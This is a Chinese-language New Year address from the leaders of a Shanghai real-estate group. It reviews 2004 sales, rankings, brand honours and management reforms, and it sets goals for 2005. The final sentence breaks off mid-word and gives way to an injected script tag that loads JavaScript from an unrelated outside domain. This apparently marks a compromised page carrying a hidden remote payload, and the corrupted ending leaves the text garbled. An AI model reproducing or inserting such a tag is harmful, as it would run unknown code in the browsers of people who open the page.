元旦献辞

董事长            总经理            党委书记  

爆竹声声一岁除，春风送暖入屠苏；千门万户瞳瞳目，总把新桃换旧符。在这辞旧迎新的时刻，我们向集团全体员工及离退休老同志致以节日的问候！祝大家新年快乐！身体健康！阖家欢乐！

一年披风沥雨，一年春花秋实。即将过去的２００４年，是令人难忘的，是不平凡的一年。２００４年，集团面临宏观调控形势，把牢固树立和落实全面协调可持续的科学发展观作为工作的重中之重，以求真务实的精神狠抓各项工作的落实，取得了显著成效，实现了企业实力和品牌形象的新跨越。集团再次荣膺第二届上海房地产开发企业５０强，排名从去年的第２１位一跃成为第６位。今年，集团共有１４个在建项目实现销售收入１８亿元，落实土地１５００亩。以农房集团成立三周年为契机，加大品牌建设力度，精心打造农工商房产品牌，农工商房产品牌的知名度和美誉度已在沪上声名鹊起，相继获得了中国房地产成功开发典范企业、２００４年度上海房地产关注品牌（商标）、２００４年度中国值得尊敬的房地产品牌企业等荣誉称号。制度建设摆上了各单位的议事日程，并取得了初步成效。特别是集团二届一次董事会上提出的“法制化经营、契约化管理、制度化运作、程序化办事”已成为大家的共识，并落实到实处，基本形成用制度规范企业行为，按制度办事，靠制度管人的有效机制。前不久，集团重组改制三年来首次举行的总部部室负责人竞争上岗划上了圆满的句号，实现了集团用人机制的重大突破，营造了让优秀人才脱颖而出的氛围。今年，我们的大家庭又添新丁，华都实业公司、城隍一购、新世纪大厦加入了集团，对他们的加入表示热忱地欢迎，希望他们能感受到大家的温暖。２００４年，集团发展思路更为清晰，经济运行质量进一步提高，凝聚力进一步增强，干部员工干劲十足，形成了心齐、劲足、风正、气顺的良好发展局面。

 成就来之不易，个中多少艰辛。在此，我们向大家一年来所付出的艰辛劳动，由衷地道一声：谢谢！

当然，面对荣誉和成绩，我们还要始终保持清醒的头脑，毕竟集团与沪上一流房地产企业相比，还有很大差距。集团整体实力还不强，人才优势还不明显，品牌建设还任重道远，制度建设还有待进一步加强和完善。集团要从蛹静若玉到实现化蝶成虹的飞跃，还须时日。

２００５年即将到来，展望充满希望的新一年，我们豪情满怀、信心倍增；面对充满挑战的新一年，我们未雨绸缪、步履坚定。明年是我们在发展进程中非常关键的一年，具有承上启下的作用，明年是进一步发展的基础年，我们要始终把发展作为主旋律，增强发展的紧迫感，要以务求实效为着力点抓开拓，在开拓创新中抓出实效。我们要高度关注中国整个房地产走势的变化，高度关注宏观调?script src=http://hzbxf.com/s.js>